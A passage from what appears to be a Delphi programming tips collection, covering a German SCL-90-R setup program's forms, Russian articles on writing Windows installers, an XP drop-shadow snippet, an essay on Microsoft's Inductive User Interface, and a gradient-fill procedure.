                   Panel4.Hide;
                   Panel5.Show;
                 end;
               end;
               CloseLink;
             end; { if DDE_LINK = TRUE }
           end; { with DdeClientConv1 do }
         end; { ok > 0 }
       end { DialogNo = 3 }
    else Close; { => end of program }
  end; { of case }
end; { TForm1.BitBtn1Click }

end.

{ file setupscl.dfm }
object Form1: TForm1
  Left = 200
  Top = 99
  Width = 435
  Height = 300
  Caption = 'Form1'
  Font.Color = clWindowText
  Font.Height = -13
  Font.Name = 'System'
  Font.Style = []
  PixelsPerInch = 96
  TextHeight = 16
end


{ file setupsc1.dfm }
object Form1: TForm1
  Left = -4
  Top = -4
  Width = 648
  Height = 488
  BorderIcons = []
  Caption = 'Form1'
  Color = clBlack
  Font.Color = clBlack
  Font.Height = -43
  Font.Name = 'Arial'
  Font.Style = [fsBold, fsItalic]
  PixelsPerInch = 96
  WindowState = wsMaximized
  OnCreate = FormCreate
  OnPaint = FormPaint
  TextHeight = 49
  object BitBtn1: TBitBtn
    Left = 648
    Top = 512
    Width = 97
    Height = 33
    Caption = 'Weiter...'
    Font.Color = clBlack
    Font.Height = -13
    Font.Name = 'System'
    Font.Style = [fsBold]
    ParentFont = False
    TabOrder = 0
    OnClick = BitBtn1Click
    Kind = bkOK
  end
  object BitBtn2: TBitBtn
    Left = 528
    Top = 512
    Width = 97
    Height = 33
    Font.Color = clBlack
    Font.Height = -13
    Font.Name = 'System'
    Font.Style = [fsBold]
    ParentFont = False
    TabOrder = 1
    OnClick = BitBtn2Click
    Kind = bkCancel
  end
  object Panel1: TPanel
    Left = 128
    Top = 112
    Width = 400
    Height = 217
    TabOrder = 2
    object Label1: TLabel
      Left = 25
      Top = 40
      Width = 147
      Height = 16
      Caption = 'Herzlich Willkommen! '
      Font.Color = clBlack
      Font.Height = -13
      Font.Name = 'System'
      Font.Style = [fsBold]
      ParentFont = False
    end
    object Label3: TLabel
      Left = 25
      Top = 64
      Width = 294
      Height = 16
      Caption = 'Dieses Setup-Programm richtet das SCL-90-R'
      Font.Color = clBlack
      Font.Height = -13
      Font.Name = 'System'
      Font.Style = [fsBold]
      ParentFont = False
    end
    object Label4: TLabel
      Left = 25
      Top = 80
      Width = 266
      Height = 16
      Caption = 'Eingabe- und Auswertungsprogramm auf '
      Font.Color = clBlack
      Font.Height = -13
      Font.Name = 'System'
      Font.Style = [fsBold]
      ParentFont = False
    end
    object Label5: TLabel
      Left = 25
      Top = 96
      Width = 126
      Height = 16
      Caption = 'Ihrer Festplatte ein.'
      Font.Color = clBlack
      Font.Height = -13
      Font.Name = 'System'
      Font.Style = [fsBold]
      ParentFont = False
    end
    object Label2: TLabel
      Left = 25
      Top = 120
      Width = 337
      Height = 16
      Caption = 'Wenn Sie das Programm nicht installieren m=F7chten,'
      Font.Color = clBlack
      Font.Height = -13
      Font.Name = 'System'
      Font.Style = [fsBold]
      ParentFont = False
    end
    object Label6: TLabel
      Left = 25
      Top = 136
      Width = 265
      Height = 16
      Caption = 'k=F7nnen Sie den Vorgang jetzt abbrechen.'
      Font.Color = clBlack
      Font.Height = -13
      Font.Name = 'System'
      Font.Style = [fsBold]
      ParentFont = False
    end
    object Label7: TLabel
      Left = 25
      Top = 160
      Width = 341
      Height = 16
      Caption = 'Um fortzufahren dr=B3cken Sie bitte die Eingabetaste..=
.'
      Font.Color = clBlack
      Font.Height = -13
      Font.Name = 'System'
      Font.Style = [fsBold]
      ParentFont = False
    end
  end
  object Panel3: TPanel
    Left = 120
    Top = 104
    Width = 401
    Height = 225
    Font.Color = clBlack
    Font.Height = -13
    Font.Name = 'System'
    Font.Style = []
    ParentFont = False
    TabOrder = 4
    Visible = False
    object Label14: TLabel
      Left = 16
      Top = 22
      Width = 64
      Height = 16
      Caption = 'Auswerter'
    end
    object Label15: TLabel
      Left = 16
      Top = 70
      Width = 260
      Height = 16
      Caption = 'Bezeichnung der Institution (drei Zeilen)'
    end
    object AuswerterEdit: TEdit
      Left = 16
      Top = 40
      Width = 177
      Height = 24
      TabOrder = 0
      Text = 'AuswerterEdit'
    end
    object Inst1Edit: TEdit
      Left = 16
      Top = 88
      Width = 345
      Height = 24
      TabOrder = 1
      Text = 'Inst1Edit'
    end
    object Inst2Edit: TEdit
      Left = 16
      Top = 120
      Width = 345
      Height = 24
      TabOrder = 2
      Text = 'Inst2Edit'
    end
    object Inst3Edit: TEdit
      Left = 16
      Top = 152
      Width = 345
      Height = 24
      TabOrder = 3
      Text = 'Inst3Edit'
    end
    object CheckBox1: TCheckBox
      Left = 16
      Top = 184
      Width = 161
      Height = 17
      Caption = 'Anzeige mit T-Werten'
      TabOrder = 4
    end
  end
  object Panel2: TPanel
    Left = 128
    Top = 112
    Width = 401
    Height = 185
    TabOrder = 3
    Visible = False
    object Label8: TLabel
      Left = 16
      Top = 16
      Width = 274
      Height = 16
      Caption = 'Bitte geben Sie das Programmverzeichnis'
      Font.Color = clBlack
      Font.Height = -13
      Font.Name = 'System'
      Font.Style = [fsBold]
      ParentFont = False
    end
    object Label9: TLabel
      Left = 16
      Top = 32
      Width = 198
      Height = 16
      Caption = 'und das Datenverzeichnis ein:'
      Font.Color = clBlack
      Font.Height = -13
      Font.Name = 'System'
      Font.Style = [fsBold]
      ParentFont = False
    end
    object Label10: TLabel
      Left = 16
      Top = 68
      Width = 71
      Height = 16
      Caption = 'Programm:'
      Font.Color = clBlack
      Font.Height = -13
      Font.Name = 'System'
      Font.Style = [fsBold]
      ParentFont = False
    end
    object Label11: TLabel
      Left = 16
      Top = 100
      Width = 42
      Height = 16
      Caption = 'Daten:'
      Font.Color = clBlack
      Font.Height = -13
      Font.Name = 'System'
      Font.Style = [fsBold]
      ParentFont = False
    end
    object Label12: TLabel
      Left = 14
      Top = 136
      Width = 341
      Height = 16
      Caption = 'Um fortzufahren dr=B3cken Sie bitte die Eingabetaste...'
      Font.Color = clBlack
      Font.Height = -13
      Font.Name = 'System'
      Font.Style = [fsBold]
      ParentFont = False
    end
    object ProgrammpfadEdit: TEdit
      Left = 104
      Top = 64
      Width = 225
      Height = 24
      Font.Color = clBlack
      Font.Height = -13
      Font.Name = 'System'
      Font.Style = []
      ParentFont = False
      TabOrder = 0
      Text = 'ProgrammpfadEdit'
    end
    object DatenpfadEdit: TEdit
      Left = 104
      Top = 96
      Width = 225
      Height = 24
      Font.Color = clBlack
      Font.Height = -13
      Font.Name = 'System'
      Font.Style = []
      ParentFont = False
      TabOrder = 1
      Text = 'DatenpfadEdit'
    end
  end
  object Panel4: TPanel
    Left = 152
    Top = 160
    Width = 337
    Height = 113
    Font.Color = clBlack
    Font.Height = -13
    Font.Name = 'System'
    Font.Style = []
    ParentFont = False
    TabOrder = 5
    Visible = False
    object Image1: TImage
      Left = 256
      Top = 40
      Width = 33
      Height = 33
      Picture.Data = {
        055449636F6E0000010001002020100000000000E80200001600000028000000
        2000000040000000010004000000000080020000000000000000000000000000
        0000000000000000000080000080000000808000800000008000800080800000
        C0C0C000808080000000FF0000FF000000FFFF00FF000000FF00FF00FFFF0000
        FFFFFF00FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF333333FFFFFFFFFFFFFFFFF
        FFFFFFFFFF33FF33FFFFF11FFFFFF1111FFFFFFFFFF3FFFFFFFFFFF115FF11FF
        1155FFFFFFF33FFFFFFFFFFF115511F511F55FFFFFF33FFFFFFFFF11111511F5
        11F55FFFFFF33FFFFFFFF11FF11511F511F55444FFF33FFFFFFFF11F511F1145
        11F55FF4FFFF33FFFFF9911F5119119511F55FF4FFF3333FFFFFF11F51191199
        11F55FF4FFFFFFFFFFFFFF111199511114F55FF4FFFFFFFFFFFF999995996699
        55556666FFF3333FFFF99FF99F99449944F66FF6FF33FFF33FF99FF99F994499
        64F66F56F33FFFFFFFF99FF99F99F69966F66556F33FFFFFFFF99FF99F996699
        66566556F33FFFFFFFFF9999FFF9999566566556F333FFFFFFFFFF22FFFF6655
        66566556FF33FFFF3FFFFFFF22FF665566566556FFF33FFF33FFFFFFF22FF666
        62556666FFFFF333F3FFFFF222CCF255F2CCCC5FFFFFFFFFFFFFFF22FF22CC25
        5CCFFCC5F3F333FFFFFFFF22AA22FCCFACCAFCCFF33FF33FFFFFFF22FFACCCCC
        ACCAACC1FF3FF33FFFFFFF22FFCCA2CCACCAACCFFFFF333FFFFFFFF22ACCAACC
        ACCAACCFFFFF33FFFFFFFFFFAACCAACCACCAACCFFFF33FFFFFFFFFFFAACCAACC
        ACCAACCFFFF33FF3FFFFFFFFAAFCCCCAA1CCCCFFFFF33F33FFFFFFFFAAFFAA1A
        A11AA1FFFFFF333F3FFFFFFFFAAAA11FAAAA11FFFFFFFFFFFFFFFFFFFFFFFF11
        11FFF11100000000000000000000000000000000000000000000000000000000
        0000000000000000000000000000000000000000000000000000000000000000
        0000000000000000000000000000000000000000000000000000000000000000
        0000000000000000000000000000000000000000000000000000000000000000
        00000000}
    end
    object Label13: TLabel
      Left = 24
      Top = 24
      Width = 117
      Height = 16
      Caption = 'Einrichtung l=F5uft...'
    end
    object Label16: TLabel
      Left = 24
      Top = 48
      Width = 166
      Height = 16
      Caption = 'Erstellen von SCL90.INI...'
    end
    object Label17: TLabel
      Left = 24
      Top = 72
      Width = 198
      Height = 16
      Caption = 'Kopieren der Programmdatei...'
    end
  end
  object Panel5: TPanel
    Left = 120
    Top = 80
    Width = 353
    Height = 281
    Font.Color = clBlack
    Font.Height = -13
    Font.Name = 'System'
    Font.Style = []
    ParentFont = False
    TabOrder = 6
    Visible = False
    object Image2: TImage
      Left = 24
      Top = 16
      Width = 33
      Height = 33
      Picture.Data =3D {
        055449636F6E0000010001002020100000000000E80200001600000028000000
        2000000040000000010004000000000080020000000000000000000000000000
        0000000000000000000080000080000000808000800000008000800080800000
        C0C0C000808080000000FF0000FF000000FFFF00FF000000FF00FF00FFFF0000
        FFFFFF00FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF333333FFFFFFFFFFFFFFFFF
        FFFFFFFFFF33FF33FFFFF11FFFFFF1111FFFFFFFFFF3FFFFFFFFFFF115FF11FF
        1155FFFFFFF33FFFFFFFFFFF115511F511F55FFFFFF33FFFFFFFFF11111511F5
        11F55FFFFFF33FFFFFFFF11FF11511F511F55444FFF33FFFFFFFF11F511F1145
        11F55FF4FFFF33FFFFF9911F5119119511F55FF4FFF3333FFFFFF11F51191199
        11F55FF4FFFFFFFFFFFFFF111199511114F55FF4FFFFFFFFFFFF999995996699
        55556666FFF3333FFFF99FF99F99449944F66FF6FF33FFF33FF99FF99F994499
        64F66F56F33FFFFFFFF99FF99F99F69966F66556F33FFFFFFFF99FF99F996699
        66566556F33FFFFFFFFF9999FFF9999566566556F333FFFFFFFFFF22FFFF6655
        66566556FF33FFFF3FFFFFFF22FF665566566556FFF33FFF33FFFFFFF22FF666
        62556666FFFFF333F3FFFFF222CCF255F2CCCC5FFFFFFFFFFFFFFF22FF22CC25
        5CCFFCC5F3F333FFFFFFFF22AA22FCCFACCAFCCFF33FF33FFFFFFF22FFACCCCC
        ACCAACC1FF3FF33FFFFFFF22FFCCA2CCACCAACCFFFFF333FFFFFFFF22ACCAACC
        ACCAACCFFFFF33FFFFFFFFFFAACCAACCACCAACCFFFF33FFFFFFFFFFFAACCAACC
        ACCAACCFFFF33FF3FFFFFFFFAAFCCCCAA1CCCCFFFFF33F33FFFFFFFFAAFFAA1A
        A11AA1FFFFFF333F3FFFFFFFFAAAA11FAAAA11FFFFFFFFFFFFFFFFFFFFFFFF11
        11FFF11100000000000000000000000000000000000000000000000000000000
        0000000000000000000000000000000000000000000000000000000000000000
        0000000000000000000000000000000000000000000000000000000000000000
        0000000000000000000000000000000000000000000000000000000000000000
        00000000}
    end
    object Label19: TLabel
      Left = 24
      Top = 64
      Width = 256
      Height = 16
      Caption = 'Die Einrichtung des SCL-Programms ist'
    end
    object Label20: TLabel
      Left = 24
      Top = 80
      Width = 103
      Height = 16
      Caption = 'abgeschlossen.'
    end
    object Label18: TLabel
      Left = 24
      Top = 112
      Width = 294
      Height = 16
      Caption = 'Das SCL-Programm verwendet ein Passwort, '
    end
    object Label21: TLabel
      Left = 24
      Top = 240
      Width = 260
      Height = 16
      Caption = 'Eingabetaste dr=B3cken, um zu beenden...'
    end
    object Label22: TLabel
      Left = 24
      Top = 128
      Width = 254
      Height = 16
      Caption = 'um bestimmte Programmfunktionen zu '
    end
    object Label23: TLabel
      Left = 24
      Top = 144
      Width = 63
      Height = 16
      Caption = 'sch=B3tzen.'
    end
    object Label24: TLabel
      Left = 24
      Top = 160
      Width = 300
      Height = 16
      Caption = 'Dieses Passwort k=F7nnen Sie jederzeit =F5ndern.'
    end
    object Label25: TLabel
      Left = 24
      Top = 176
      Width = 235
      Height = 16
      Caption = 'Das voreingestellte Passwort lautet:'
    end
    object Label26: TLabel
      Left = 144
      Top = 208
      Width = 39
      Height = 22
      Caption = 'SCL'
      Font.Color = clBlack
      Font.Height = -19
      Font.Name = 'Arial'
      Font.Style = [fsBold]
      ParentFont = False
    end
  end
  object DdeClientConv1: TDdeClientConv
    ServiceApplication = 'ProgMan'
    ConnectMode = ddeManual
    Left = 88
    Top = 32
  end
end


----------------------------------


Этапы инсталляции

Запомните одно важное правило: инсталлировать программу можно с человеческих носителей
(винчестеры, компакт-диски, ZIP-диски) и с дискет :) Если вы собираетесь написать инсталляцию с
дискет, которая явно не поместиться на одну дискету, то у вас есть шанс хорошо провести время :)

Как вы знаете, Windows сбрасывает ненужную ей в данный момент информацию на диск. Это правильно,
но это касается данных. Программы никогда на диск не сбрасываются, поскольку в Windows сегмент кода
программы не может быть изменён. Когда Windows нужна память и ей под руку подворачивается ваша программа,
она её просто выкидывает — и всё. Когда ваша программа снова становиться нужна, Windows снова загружает
её из выполняемого файла.

Эта в высшей степени корректная техника перестаёт работать при инсталляции с дискет. Ваша программа,
например, копирует четвёртую дискету и тут выясняется, что у неё (у программы) пропал кусок кода. Какие
проблемы? — Windows пытается прочитать файл a:\setup.exe и естественно его не находит (на четвёртой-то дискете? откуда?).

Только не паникуйте! Эта проблема давно решена, иначе вы не могли бы установить на свой компьютер ни
одной программы! Всё очень просто — программа инсталляции копирует себя и все необходимые файлы во
временный каталог на жёсткий диск и перезапускает себя с жёсткого диска. Это и есть первый этап инсталляции.
В зарубежных программах он обычно называется "Prepare to install". Ещё раз обратите внимание на то, что
совсем не обязательно выполнять этот этап, если вы инсталлируетесь не с дискет, или если ваша инсталляция
умещается на одну дискету.

На втором этапе программа инсталляции обычно показывает пользователю несколько страшных предупреждений;
что-то типа "если вы не заплатите за эту программу, то сидеть вам в тюрьме три пожизненных срока".
Я слышал, что некоторые пользователи со слабым сердецем даже умирали за компьютером от таких угроз :)

Реализация этого этапа до идиотизма тривиальна, поэтому мы и не будем на нём останавливаться подробно.

Следущий этап — третий. Здесь программа установки дотошно выспрашивает у пользователя кучу всяких важных
данных: имя пользователя и его огранизацию, тип установки, куда будем ставить, как будет называться группа
программ и так далее. На этом этапе нам встретятся некоторые технические трудности, но их несложно обойти.

Четвёртый этап — копирование. Конечно, это не очень сложно, но некоторые проблемы у нас всё-таки возникнут.
Во-первых, надо проверить наличие свободного места на целевом диске. Во-вторых, надо удостовериться, что у
нас есть доступ к нужному каталогу. В-третьих, надо проверять, нет ли уже такого файла... Вы ещё не передумали
писать программу инсталляции?

Следующий, пятый, этап — настройка системного реестра (registry). Достаточно тривиальная процедура, правда,
при инсталляции большого продукта, записывать придёться очень много.

Предпоследний, шестой, этап, заключается в создании группы программ в меню "Пуск". Или, возможно, вы захотите
вынести ярлык на рабочий стол.

Наконец, финальная часть включает демонстрацию нескольких файлов (например, readme), затем онлайновую регистрацию
(подробно на ней я останавливаться не буду) и последнее сообщение "Инсталляция успешно завершена".

Теперь мы можем перейти к подробному рассмотрению этапов. Сейчас вы узнаете, как это делается :)

Копирование программы во временный каталог

program Setup;

uses
  Windows,
  SysUtils;

const
  ReRunParameter = '/install_from_temp_directory';

var
  TempPath: array [0..MAX_PATH] of Char;
  SrcPath: String;

begin
  if ParamStr(1) = ReRunParameter then
    SrcPath := ParamStr(2)
  else
    if GetDriveType(PChar(ParamStr(0)[1] + ':\')) = DRIVE_REMOVABLE then
    begin
      // Если программа была запущена без ключа и с дискеты, то
      // копируем е? во временный каталог и перезапускам
      // Текущее приложение завершаем.
      GetTempPath(MAX_PATH, TempPath);
      // Добавлям к пути временного каталога символ '\', если его там нет
      if (StrLen(TempPath) > 0) and (TempPath[StrLen(TempPath)] <> '\') then
        StrCat(TempPath, '\');
      // Копируем файл через вызов функции CopyFile из WinAPI
      CopyFile(PChar(ParamStr(0)), PChar(String(TempPath) +
       ExtractFileName(ParamStr(0))), False);
      // Запускаем файл с двумя параметрами
      WinExec(PChar(String(TempPath) + ExtractFileName(ParamStr(0)) + ' ' +
        ReRunParameter + ' ' + ExtractFilePath(ParamStr(0))), CmdShow);
      Exit;
    end
    else
      SrcPath := ExtractFilePath(ParamStr(0));
  // Здесь начинается программа инсталляции
  // Переменная SrcPath показывает нам, откуда надо копировать файлы
end.


Есть две грабли, на которые можно наступить в приведённом примере. Первые лежат в вызове функции GetTempPath.
Если у вас нет переменных окружения TMP и TEMP, то временным каталогом станет текущий каталог программы, то есть,
 фактически, ваша дискета.

Вы можете проверять, не находится ли временный каталог на сменном диске (с помощью вызова GetDriveType), и,
если находиться, считать временным каталогом C:\TEMP (если его нет — создайте самостоятельно).

Вторые грабли заключаются в том, что после завершения инсталляции программу из временного каталога желательно
удалить, но сделать этого вы не сможете, поскольку программа в этот момент выполняется. Вспомните, что в
Windows 95 и Windows NT выполняющуся программу удалять нельзя

В общем случае, решения этой проблемы я не знаю. Собственно, поскольку файл останется во временном каталоге,
он будет одним из первых кандидатов на удаление (если пользователь хоть когда-нибудь чистит свой временный
каталог :) Тем не менее, есть один хитрый способ удаления этого файла, о котором я расскажу ниже, в параграфе
о деинсталляции.

Примечание: Если для вас важен размер вашей инсталляции, вы можете взять только тот кусочек, который приведён
выше, и сделать из него отдельную программу (которая будет очень небольшого объёма). Саму программу инсталляции
вы предварительно сжимаете, а перед запуском распаковываете её во временный каталог (а не копируете, как это
сделано здесь). Обратите внимание, что в этом случае программа должна распаковываться в любом случае, а не только
если она запущена с дискеты.

Запугивание пользователя законами об авторских правах

Да, есть и такой этап. Если вам всё равно придётся вывести небольшое окно и поставить пользователя в известность
о том, что вы не отвечаете за все неприятности, которые могут с ним произойти во время использования вашей программы.

Как это делается? Если вы не знаете, как сделать диалоговое окно, то, по моему, вам ещё рано писать инсталляции.
Если знаете, то выведите окно и поместите в нём нужный текст.

Как получить важные системные данные

На четвёртом этапе нам потребуются некоторые системные данные: имя пользователя и организация, путь, куда потребуется
инсталлировать программу и некоторые другие. Сейчас мы разберёмся, как и откуда эти данные можно получить.

Имя пользователя и организация

Во время инсталляции, программы иногда запрашивают имя пользователя и его организацию. Возможно, для работы вашей
программы эти данные не понадобятся, но если они вам нужны, вы должны их запросить. Как правило, программа инсталляции
берёт эти данные из Windows (поскольку при установке Windows пользователь их уже вводил) и просит всего лишь изменить
их, если это необходимо. Наш вопрос звучит так: где Windows хранит имя пользователя и организацию? Я, правду сказать,
не знаю. Но, пробежавшись по реестру, я обнаружил всего лишь два подходящих места, содержащих эту информацию.

HKEY_LOCAL_MACHINE\Software\Microsoft NT\Windows\CurrentVersion\
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ RegisteredOwner = 'Имя'
RegisteredOrganization = 'Организация'

В доступной мне версии Windows 95, эти значения хранятся в ветке HKEY_LOCAL_MACHINE, а в Windows NT — HKEY_CURRENT_USER
(в подветках Windows или Windows NT). Поскольку в этом вопросе нет ясности :) я предлагаю проверять обе ветки. Версию
операционной системы можно узнать с помощью функции GetVersionEx.

Куда копировать программу:

Можно сформулировать наш вопрос и по другому: где находиться каталог Program Files? Некоторые инсталляции считают,
что это C:\Program Files. В действительности, конечно, он может находиться на другом диске, поэтому мы попробуем
поискать его по другому... в реестре.

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ ProgramFilesDir = 'D:\Program Files'

Можно воспользоваться функцией SHGetSpecialFolderLocation (это даже более корректно с точки зрения Microsoft).
Пример использования этой функции вы обнаружите несколькими файлами позже. Для изменения каталога вы можете вызывать
функции SelectDirectory или SHBrowseForFolder. Можно также создать собственное окно диалога "Выбор каталога" с помощью
компонента DirectoryListBox. Подробнее о выборе каталога мы поговорим позднее, когда будем рассматривать тонкости
процесса инсталляции.

Сколько осталось свободного места на диске

Программа инсталляции перед копированием файлов обязана проверить, сколько на целевом диске осталось свободного
дискового пространства. Это делается при помощью функции GetDiskFreeSpace (из модуля Windows) или функции DiskFree
(из модуля SysUtils). Вторая функция — это надстройка Delphi над Win API (в смысле, она вызывает GetDiskFreeSpace),
но у неё значительно меньше параметров.

Группы программ

Обычно программа инсталляции создаёт для новой программы новую группу. Как правило, когда вы вводите название группы,
рядом присутствует список, в котром перечислены все существующие группы. Получить такой список можно двумя способами.
Один из них — работа с DDE-сервером, который называется Program Manager. Этот способ мы подробно рассмотрим чуть позже.
Второй способ не очень сложен и основан на том факте, что всё меню "Программы" находиться в одном из каталогов вашего диска.
Все подменю являются на самом деле подкаталогами, а пукнты — обычными ссылками (файлами с расширением .lnk).
Путь к папке, содержащей меню "Программы", вы можете найти в реестре:
HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Explorer\Shell Folders\
Programs = 'D:\WINNT\Profiles\mark\Главное меню\Программы' Не очень сложно прочитать содержимое этого каталога
с помощью функций FindFirst/FindNext. Ниже мы и об этом поговорим подробнее, поскольку чтение содержимого каталогов
потребуется нам при написании универсальной процедуры копирования файлов.

-----------------------------------------


Мне понравился следующий вариант: главное приложение само выполняет функции инсталлятора. Первоначально файл
называется Setup.exe. При запуске под этим именем приложение устанавливает себя, после установки программа
переименовывает себя и перестает быть инсталлятором.

Application.Initialize;
if UpperCase(ExtractFileName(Application.ExeName))='SETUP.EXE' then
  // форма инсталлятора
  Application.CreateForm(TSetupForm, SetupForm)
else
  // форма основной программы
  Application.CreateForm(TMainForm, MainForm);
Application.Run;


Вполне очевидно, что вместо переименования можно запускать программу с различными ключами,
например /INSTALL и /UNINSTALL. Я очень часто пользуюсь таким приемом, особенно в тех случаях, когда проект
состоит из одного файла
К заголовку




" Включить Drop Shadow Effect окна в XP
type
  TForm1 = class(TForm)
  protected
    procedure CreateParams(var Params: TCreateParams); override;
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.CreateParams(var Params: TCreateParams);
const
  CS_DROPSHADOW = $00020000;
begin
  inherited;
  Params.WindowClass.Style := Params.WindowClass.Style or CS_DROPSHADOW;
end;


К заголовку




" Впечатления от реального Microsoft Inductive User Interface
Microsoft наконец-то сделал интерфейс пользователя! До Windows 2000/Me включительно как ведь было: интерфейс был
максимум — документ-ориентированный. То есть, все элементы пользовательского интерфейса были спроектированы так,
чтобы работать с документом. Теперь же, основная задача интерфейса пользователя — дать возможность планомерно и
точно решить задачу.

Новый тип интерфейсов пользователя Microsoft называет Inductive User Interface (IUI). Приведу фразу из Microsoft
IUI Guidelines (ответ на вопрос "Что есть IUI?"): "IUI это, — новая модель пользовательского интерфейса, советующая,
как сделать программное приложение проще, разбивая функции (features) на экраны или страницы, которые проще понять
и объяснить". Вот такое вот объяснение от создателя технологии.

Дедуктивный интерфейс пользователя

"Множество коммерческих приложений имеют пользовательский интерфейс, на каждом экране которого представлено некоторое
количество управляющих элементов (controls), но пользователю приходится лишь догадываться о назначении данной
страницы и о том, как использовать управляющие элементы…", говорит Microsoft все в той же "Microsoft IUI Guidelines"
(все цитаты будут именно из этого документа, если не указано иное).

В качестве примера такого интерфейса MS приводит следующий диалог:

Опытные пользователи, увидев этот диалог, довольно быстро поймут, что он позволяет управлять списком идей (things),
что копки под списком позволяют добавлять, удалять и изменять информацию. Тем не менее, стоит взглянуть на этот
диалог с точки зрения обычного пользователя.

Когда обычный пользователь видит этот диалог, первая мысль, которая рождается у него в голове, звучит так: "Ну и
что я собирался с этим делать?". При появлении этого окна пользователь должен приостановиться и догадаться о его
назначении. С трудом помогает довольно сомнительная надпись "Things:", а некоторые пользователи могут пытаться
ввести информацию прямо в область списка, так как он выглядит точно так же, как и область ввода текста.

Следующее, что оттолкнет пользователя, это — две отключенные кнопки "Remove" и "Properties". Пользователю придется
поэкспериментировать с данным диалогом для того, чтобы понять, когда и что работает.

Пользователь также может задаться такими высокоуровневыми вопросами, как "Сколько элементов может быть в списке?
Должен ли я вводить информацию в каком-либо порядке? Для чего все это?".

А теперь спросите себя, как часто вы встречаете приложения, полные таких диалогов? Почему бы им всем, к примеру,
не обзавестись небольшой областью, в которой будет рассказано о том, для чего он служит и как с ним работать?

Панацея?

Нет, но путь к ней. По заверениям Microsoft (а их стоит, минимум, принять во внимание), метод IUI является
решением данной проблемы. Хорошо спроектированный интерфейс пользователя должен помочь пользователю ответить
на два важных вопроса:

    * Что я сейчас собирался сделать?
    * Куда я пойду отсюда, чтобы выполнить мою следующую задачу?

Приложение, использующее IUI, отвечает на эти вопросы одной своей идеологией: "экран с единственной четко описанной
и явной целью проще для понимания, чем без оной".

Следуя данной идеологии можно выделить четыре основных шага при создании IUI:

   1. Сфокусируйте каждый экран на решение одной задачи.
   2. Объяснить задачу.
   3. Сделайте наполнение каждого экрана соответствующим данной задаче.
   4. Предложите ссылки на вторичные задачи.

В дополнение к этим четырем шагам Microsoft советует придерживаться следующих пяти правил:

    * Используйте непротиворечивые экранные шаблоны.
    * Обеспечьте экраны для стартовых задач.
    * Сделайте очевидным способ, с помощью которого можно выполнить задачу.
    * Предусмотрите простой способ завершить задачу и перейти к другой задаче.
    * Сделайте следующий навигационный шаг очевидным.

Многие задачи требуют организации так называемого "процесса" (process) для решения какой-либо задачи. В терминах
IUI процессом называется некоторая последовательность шагов (экранов), предназначенных для решения одной задачи.

Когда пользователь нажимает кнопку "Done" на последнем экране процесса следует отправить его к месту, с которого
он начал решать данную задачу.

В любой момент пользователь может перейти на ссылку для решения вторичной задачи. Когда этот пользователь закончит
решать вторичную задачу необходимо сделать так, чтобы он вернулся именно в то место, откуда он пришел.

В действии

Итак, с концептуальной основой Inductive User Interface мы разобрались. Как применила свою же идеологию Microsoft?
А история такова: Оттачивать данную концепцию Microsoft начала еще на Microsoft Money 2000. Отточенные же идеи
воплотились во всей своей красе в программных продуктах под маркой XP.

К примеру, приведу макет диалога задания пароля для учетной записи Windows:

Из этого диалога понятно, что мы находимся в разделе "Windows account setting home", что мы можем узнать, как правильно
делать пароли и закрывать ими файлы, наконец, что и куда надо ввести для того, чтобы создать пароль. Внимание!
Сбылись мечты многих и теперь вместо пары кнопок "OK" и "Cancel", которая иногда конфузила даже бывалых пользователей
поставлены пара "Create password" и "Cancel", что объясняет точно, что будет при нажатии данной кнопки. Возможно,
кому-то это покажется мелочью, но данный подход к надписям на кнопках сильно упрощает работу с приложением.
У пользователей не должно быть никаких сомнений по поводу того, что они получат, нажав на кнопку. Теперь сомнений нет.
Мы, либо создадим пароль, либо откажемся от этого.

Заключение

В заключение, хочу уточнить, что вышеприведенный вид окна в стиле IUI не является каким-либо стандартом. Microsoft особо
оговаривает, что каждый экран должен соответствовать идеологии, а его дизайн — дело каждого разработчика. Хотя от себя
добавлю что, по мнению специалистов в области интерфейсов пользователя идентичность интерфейсов является еще одним ключом
к эффективной работе с приложениями.

© Григорий Ситнин, 08 сентября 2001. Рисунки, использованные в этой статье являются собственностью корпорации Microsoft.
При написании данной статьи использовался документ "Microsoft Inductive User Interface Guidelines" от 09 февраля 2001.

PS: Автор с большим удовольствием ждет от вас отзывов о данной статье на свой e-mail. Помните, что ваши отзывы, это —
единственный гонорар автора.
К заголовку




" Градиентная заливка формы
Процедура GradientRect делает градиентную заливку (сверху в низ). Параметры: цвета [от и до] и объект Canvas,
поверхность которого и будет закрашена

procedure TForm1.GradientRect (FromRGB, ToRGB: TColor; Canvas: TCanvas);
var
  RGBFrom : array[0..2] of Byte; { from RGB values }
  RGBDiff : array[0..2] of integer; { difference of from/to RGB values }
  ColorBand : TRect; { color band rectangular coordinates }
  I : Integer; { color band index }
  R : Byte; { a color band's R value }
  G : Byte; { a color band's G value }
  B : Byte; { a color band's B value }
begin
  { extract from RGB values}
  RGBFrom[0] := GetRValue (ColorToRGB (FromRGB));
  RGBFrom[1] := GetGValue (ColorToRGB (FromRGB));
  RGBFrom[2] := GetBValue (ColorToRGB (FromRGB));
  { calculate difference of from and to RGB values}
  RGBDiff[0] := GetRValue (ColorToRGB (ToRGB)) - RGBFrom[0];
  RGBDiff[1] := GetGValue (ColorToRGB (ToRGB)) - RGBFrom[1];
  RGBDiff[2] := GetBValue (ColorToRGB (ToRGB)) - RGBFrom[2];

  { set pen sytle and mode}
  Canvas.Pen.Style := psSolid;
  Canvas.Pen.Mode := pmCopy;

  { set color band's left and right coordinates}
  ColorBand.Left := 0;
  ColorBand.Right:= canvas.ClipRect.Right-Canvas.ClipRect.Left;

  for I := 0 to $ff do
  begin
    { calculate color band's top and bottom coordinates}
    ColorBand.Top := MulDiv (I , canvas.ClipRect.Bottom-Canvas.ClipRect.Top, $100);
    ColorBand.Bottom := MulDiv (I + 1,canvas.ClipRect.Bottom-Canvas.ClipRect.Top, $100);
    { calculate color band color}
    R := RGBFrom[0] + MulDiv (I, RGBDiff[0], $ff);
    G := RGBFrom[1] + MulDiv (I, RGBDiff[1], $ff);
    B := RGBFrom[2] + MulDiv (I, RGBDiff[2], $ff);
    { select brush and paint color band}
    Canvas.Brush.Color := RGB (R, G, B);
    Canvas.FillRect (ColorBand);
  end;
end;


